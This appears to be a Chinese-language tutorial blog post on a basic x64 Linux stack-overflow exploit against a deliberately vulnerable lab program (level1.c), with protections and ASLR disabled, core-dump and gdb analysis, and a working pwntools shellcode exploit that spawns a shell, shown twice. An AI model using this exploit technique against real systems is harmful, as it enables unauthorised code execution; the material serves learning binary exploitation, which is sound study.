前言：本文是参考了一步一步学 ROP 之 Linux_x86 篇这篇文章的。由于老早之前就知道栈溢出和计算溢出点，但是不会用pwntools以及各种问题，导致了我写的exp从来没有运行通过。这次在看完这篇文章之后，明白了之前写的exp未成功运行的原因，以及在解决了这篇教程存在的几个问题之后，成功地实现了ROP技术的exp,因此想记录一下这个过程。
本文主要涉及了以下几个知识点：
1.core dump（核心转储）技术，关于这个可以参考一篇文章，传送门
2.关闭DEP（数据执行保护）和Stack Protector（栈保护），以及关闭ASLR（地址随机化）
3.pwntools的使用例子，详细教程传送门
4.x64操作系统的寄存器区别，可以参考前面的文章——gdb调试
注意：我使用的是linux_x64，而原教程的文章是x86系统的，所以在寄存器操作上有所不同。在看本文之前，最好先看看原来的那篇文章，这里不会对栈溢出的原理进行介绍，主要是提供我自己的解决思路。
本文还是使用原教程的例子：level1.c
#undef _FORTIFY_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 256);
}
int main(int argc, char** argv) {
vulnerable_function();
write(STDOUT_FILENO, "Hello, World\n", 13);
}
先放出自己的exp:
#!/usr/bin/env python
from pwn import *
context(arch='x86_64',os='linux',log_level='debug')
shellcode = asm(shellcraft.amd64.linux.sh())
p = process('./level1')
#p = remote('127.0.0.1',10001)
ret = 0x7fffffffe060 #此处是buf的地址，也是需要找到的关键地址
payload = shellcode + 'A' * (136 - len(shellcode)) + p64(ret) #原文这里是140，也是错误的参数，实际上在x86的机器上这里应该是144
p.send(payload)
p.interactive()
接下来开始讲解我的分析思路：
注：以下所有命令都是在root权限下运行的，且以及提前装好了pwntools
1.打开core dump，core文件格式可以自己设置
ulimit -c unlimited
2.关闭DEP（数据执行保护）和Stack Protector（栈保护），以及关闭ASLR（地址随机化）
#在编译的时候，使用-fno-stack-protector 和-z execstack来分别关闭Stack Protector和DEP
gcc -fno-stack-protector -z execstack -g -o level1 level1.c
#关闭地址随机化
echo 0 > /proc/sys/kernel/randomize_va_space
3.运行level1，并且输入长字符串，使得栈溢出
4.按我原来的思路，是通过gdb调试来先找到栈溢出的点，再寻找程序运行的实际地址的，但是在自己测试之后，发现可以直接通过core文件来找到。因此用gdb来查看core文件
gdb level1 core
x/10s buf
x/10s $rsp
在看完以上的说明之后，可以发现由于这个函数没有调用任何参数，那么它在执行完之后，恢复到main栈帧的时候。rsp先指向rbp,然后再出栈一个机器字，执行完之后，rsp正好指向了该函数栈帧的ret的位置。所以这个查到的新rsp的地址就是旧ret的地址，ret = 0x7fffffffe060 (我自己测试的机器)。接着计算buf和rsp两个地址的差值为136，因此溢出的字符串长度应该为136。
由此，可以写出exp:
#!/usr/bin/env python
from pwn import *
context(arch='x86_64',os='linux',log_level='debug')
shellcode = asm(shellcraft.amd64.linux.sh())
p = process('./level1')
#p = remote('127.0.0.1',10001)
ret = 0x7fffffffe060 #此处是buf的地址，也是需要找到的关键地址
payload = shellcode + 'A' * (136 - len(shellcode)) + p64(ret) #原文这里是140，也是错误的参数，实际上在x86的机器上这里应该是144
p.send(payload)
p.interactive()
运行这个exp，发现成功触发了shell:
以上就是本地调试的过程，远程调试过程如下：
远程调试使用socat来挂载程序，而在关闭地址随机化的情况下，远程调试的地址和本地调试的也是不一样的，需要重新找到该地址。
1.使用socat挂载程序：
socat TCP4-LISTEN:2008,fork EXEC:./level1
2.打开一个新的终端，nc连接
nc 127.0.0.1 2008
#接着为了生成core文件，输入长串的字符串引发错误
3.这样就会在原来的文件夹下面生成一个新的core文件，按之前的思路分析core文件就可以了
4.找到新的地址之后，修改exp为远程调试，同时修改ret地址就可以了
在之前的寻找溢出点的过程中，我们直接用了core文件，但是在很多时候我们可能无法获得这个文件，因此可以考虑用gdb来调试。参考之前的文章gdb调试，此处要注意一个问题：
在用gcc编译c文件的时候，要一起用-g -o这个选项，否则在少了-g的情况下，gdb调试想要进行断点设置和查看源代码的时候提示no signal信息。
推荐阅读材料：初探ROP攻击 Memory Leak & DynELF
https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=42239&highlight=linux%2Bpwn
